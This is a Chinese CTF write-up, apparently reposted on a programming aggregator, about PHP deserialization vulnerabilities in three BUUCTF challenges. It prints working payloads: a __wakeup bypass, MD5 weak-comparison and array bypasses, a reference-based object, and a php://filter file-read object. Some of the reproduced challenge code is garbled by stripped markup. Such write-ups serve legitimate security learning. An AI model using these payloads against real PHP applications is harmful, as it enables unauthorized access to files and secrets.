我的编程空间,编程开发者的网络收藏夹
学习永远不晚

反序列号漏洞学习!BUUCTF 极客PHP BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

反序列号漏洞学习!BUUCTF 极客PHP BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz

 

简单讲,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化

序列化的格式

 

 

•a表示array(数组),2表示数组有2个元素

•s:5:”baidu”表示第一个元素的下标,长度为5的字符串

•s:13表示第一个元素的值,长度为13的字符串

•i:10表示值为10的整数

•序列化时,只保存成员变量,不保存方法

格式说明:

•O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量

•大括号里面是3个成员变量的信息

•public成员变量的名字直接写就行

•protected成员变量的名字前需要加%00*%00

•private成员变量的名字前需要加%00类名%00

 

Magic 方法:

•__construct 当一个对象创建时被调用

•__destruct 当一个对象销毁时被调用

•__toString 当一个对象被当作一个字符串使用

•__wakeup 在对象被反序列化之前被调用

常见绕过方法:

1)__wakeup:

•影响版本:PHP before 5.6.25、7.x before 7.0.10

•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

2)引用绕过:

•$a->var2=&$a->var1,指定var2是var1的引用,所以这两个的值完全一样,(类似c语言里面的指针$a->var2 和 $a->var1 指向同一片内存)

BUUCTF 练习:

1) PHP极客大挑战

 

尝试了半天,看页面源代码也没找到踪迹,尝试爆破。

 

得到源码,index.php中

 

传入参数select,然后反序列化

username = $username;        $this->password = $password;    }​    function __wakeup(){        $this->username = 'guest';    }​    function __destruct(){        if ($this->password != 100) {            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die();​ } }}?>

代码审计我们需要令$username="admin" 和 $password =100并且绕过 __wakeup magic方法,防止$username 变为 "guest",绕过wakeup 只需要在 序列化对象属性数量的位置改为大于原本类的对象属性数量.

 

有不可见字符,我们需要给他再urlencode一下,

 

将O:4:"Name":2: .......(省略后面的代码) ,2改为3再urlencode

payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D%0A

 

2)BUU CODE REVIEW 1

correct = base64_encode(uniqid());           if($this->correct === $this->input) {               echo file_get_contents("/flag");           }       } catch (Exception $e) {       }   }}​if($_GET['pleaseget'] === '1') {    if($_POST['pleasepost'] === '2') {        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {            unserialize($_POST['obj']);        }    }}

代码审计:

需要$correct===$input,

但是由于$this->correct = base64_encode(uniqid()); 这一条命令,每次correct 都会随机生产一个字符,我们令input和correct指向同一片内存地址,方可绕过

这里用到了MD5绕过

MD5弱比较“==”绕过

        方法一:利用md5()函数的漏洞绕过

即使用数组绕过的方法: 由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。 所以上传

/?a[]=1&b[]=2

就可绕过 方法二:利用“==”比较漏洞绕过 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 下列的字符串的MD5值都是0e开头的:

QNKCDZO240610708s878926199as155964671as214587387as214587387a 

2、MD5强比较“===”绕过

此时只能用数组绕过的方法。

input = &$a->correct;$str = serialize($a);echo $str;?>
payload:GET方法:pleaseget=1POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

3)[网鼎杯 2020 青龙组]AreUSerialz

process();    }​    public function process() {        if($this->op == "1") {            $this->write();        } else if($this->op == "2") {            $res = $this->read();            $this->output($res);        } else {            $this->output("Bad Hacker!");        }    }​    private function write() {        if(isset($this->filename) && isset($this->content)) {            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);            if($res) $this->output("Successful!");            else $this->output("Failed!");        } else {            $this->output("Failed!");        }    }​    private function read() {        $res = "";        if(isset($this->filename)) {            $res = file_get_contents($this->filename);        }        return $res;    }​    private function output($s) {        echo "[Result]: 
"; echo $s; }​ function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }​}​function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}​if(isset($_GET{'str'})) {​ $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }​}

代码审计后:

1)发现is_valid只允许我们输入ascill值在32-125之间的符号,即可以打印出来的符号

protected $op;protected $filename;protected $content;

接着发现 因为以上三个变量前面带着protected修饰词,如果序列化后将在变量前面加上%00*%00不在32-125间将会过不了这个函数(is_valid return false),即不能触发$obj = unserialize($str) 。

对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public

2)我们最终目的是拿到flag.php里面的内容,所以我们要进入read函数里面,即把op=2(进入read函数),绕过op=1(会先进入write函数),然后$filename = "flag.php"

  
  #序列化后的字符串为以下,试试这个payload#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

 

可以看到已经读到flag.php的内容

我们也可以在结合LFI漏洞中运用的php伪协议在尝试尝试,

#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

 

 

第一次写博客,写得哪里不好请谅解.。

来源地址:https://blog.csdn.net/qq_58869808/article/details/125991530

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

反序列号漏洞学习!BUUCTF 极客PHP BUU CODE REVIEW 1 [网鼎杯 2020 青龙组]AreUSerialz

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录